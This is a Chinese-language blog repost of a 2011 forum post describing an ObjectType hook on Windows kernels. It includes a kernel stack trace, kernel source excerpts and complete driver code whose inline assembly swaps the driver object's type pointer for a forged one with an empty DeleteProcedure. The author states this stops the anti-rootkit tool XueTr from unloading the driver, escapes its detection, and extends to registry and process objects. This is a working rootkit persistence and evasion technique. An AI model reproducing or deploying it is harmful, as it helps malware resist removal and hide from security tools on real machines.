2011年7月25日星期一

很多句話讓XueTr卸載不了我們的驅動(ObjectType HOOK)

作 者: KiDebug 
時 間: 2011-05-24,13:34:43 
鏈接: http://bbs.pediy.com/showthread.php?t=134415

對於ObjectType HOOK,可以參考MJ0011和sudami的文章:

ObjectType HOOK干涉註冊表操作(bypass Icesword,gmer,NIAP,etc.)
http://www.xfocus.net/articles/200802/966.html

一種Object hook的思路和實現過程
http://forum.eviloctal.com/thread-33688-1-1.html

兩篇文章的共同點都是去HOOK系統已經生成的object type裡面的例程,系統怎麼去用這些例程呢?仍然以上篇的《一句話讓XueTr卸載不了我們的驅動》為例,驅動卸載時,函數調用如下:
kd> kp
ChildEBP RetAddr
ee5deb30 805b1bde nt!IopDeleteDriver
ee5deb4c 80523bf1 nt!ObpRemoveObjectRoutine+0xe0
ee5deb70 804f5778 nt!ObfDereferenceObject+0x5f
ee5dec14 8057a83d nt!IopUnloadDriver+0x28a
ee5dec24 8053e6d8 nt!NtUnloadDriver+0xf
ee5dec24 80500231 nt!KiFastCallEntry+0xf8
ee5deca0 804f55df nt!ZwUnloadDriver+0x11
ee5ded48 8057a83d nt!IopUnloadDriver+0xf1
ee5ded58 8053e6d8 nt!NtUnloadDriver+0xf

ObpRemoveObjectRoutine定義如下:
VOID
ObpRemoveObjectRoutine (
    IN PVOID Object,
    IN BOOLEAN CalledOnWorkerThread
    )

Object是我們的驅動對象DriverObject,
有如下的代碼:
    ObjectHeader = OBJECT_TO_OBJECT_HEADER( Object );
    ObjectType = ObjectHeader->Type;

    if (ObjectType->TypeInfo.DeleteProcedure) {

#if DBG
        KIRQL SaveIrql;
#endif

        ObpBeginTypeSpecificCallOut( SaveIrql );

        if (!CalledOnWorkerThread) {

            ObjectHeader->Flags |= OB_FLAG_DELETED_INLINE;
        }

        (*(ObjectType->TypeInfo.DeleteProcedure))(Object);

        ObpEndTypeSpecificCallOut( SaveIrql, "Delete", ObjectType, Object );
    }

可以看到是從Object取ObjectHeader,然後從ObjectHeader取ObjectType,從ObjectType取TypeInfo.DeleteProcedure。沒有直接取系統已經生成的ObjectType
因此,我們可以自己構造一個ObjectType,裡面填充自己定義的例程,然後覆蓋Object上面的ObjectHeader裡面的ObjectType,這樣系統取到的TypeInfo.DeleteProcedure就是我們自己定義的例程了。

測試代碼如下:
/*
* 作者:KiDebug
* 空間:http://hi.baidu.com/KiDebug/
*/
#include <ntddk.h>

UCHAR My_OBJECT_TYPE[0x200];

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS testDefaultHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Irp->IoStatus.Status;
}

void DoNothing()
{

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
  ULONG i;

  for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
    DriverObject->MajorFunction[i] = testDefaultHandler;

  DriverObject->DriverUnload = testUnload;

  __asm
  {
    mov eax,DriverObject
    mov esi,[eax-10h] //+0x008 Type +0x018 Body 兩者相差0x10
    lea edi,My_OBJECT_TYPE
    mov ecx,64h //_OBJECT_TYPE共0x190個字節,0x64個DWORD
    rep movsd //把Driver的系統自帶的_OBJECT_TYPE複製到My_OBJECT_TYPE裡面
    lea ebx,My_OBJECT_TYPE
    mov ecx,DoNothing
    mov [ebx+98h],ecx //+0x038 DeleteProcedure
    mov [eax-10h],ebx //把My_OBJECT_TYPE覆蓋成自己DriverObject頭上的Type
  };

  return STATUS_SUCCESS;
}
用InstDrv.exe加載編譯後的驅動,依次點擊安裝、啟動,然後用XueTr查看“驅動模塊”,可以看到test.sys,可以在右鍵菜單中點擊“卸載驅動(危險)”,但刷新後test.sys依然還在。
把My_OBJECT_TYPE覆蓋掉XueTr.sys驅動對像上面的ObjectHeader裡面的ObjectType,XueTr功能沒影響,能幹啥幹啥。
這樣的HOOK用XueTr查不到,可以推廣到其他的對像中去,比如說註冊表、進程等等。

既然能加載驅動,能進內核了,那麼神馬都是浮云了:看到什麼就可以HOOK什麼,反過來看到HOOK了什麼,就可以反HOOK什麼。

没有评论:

发表评论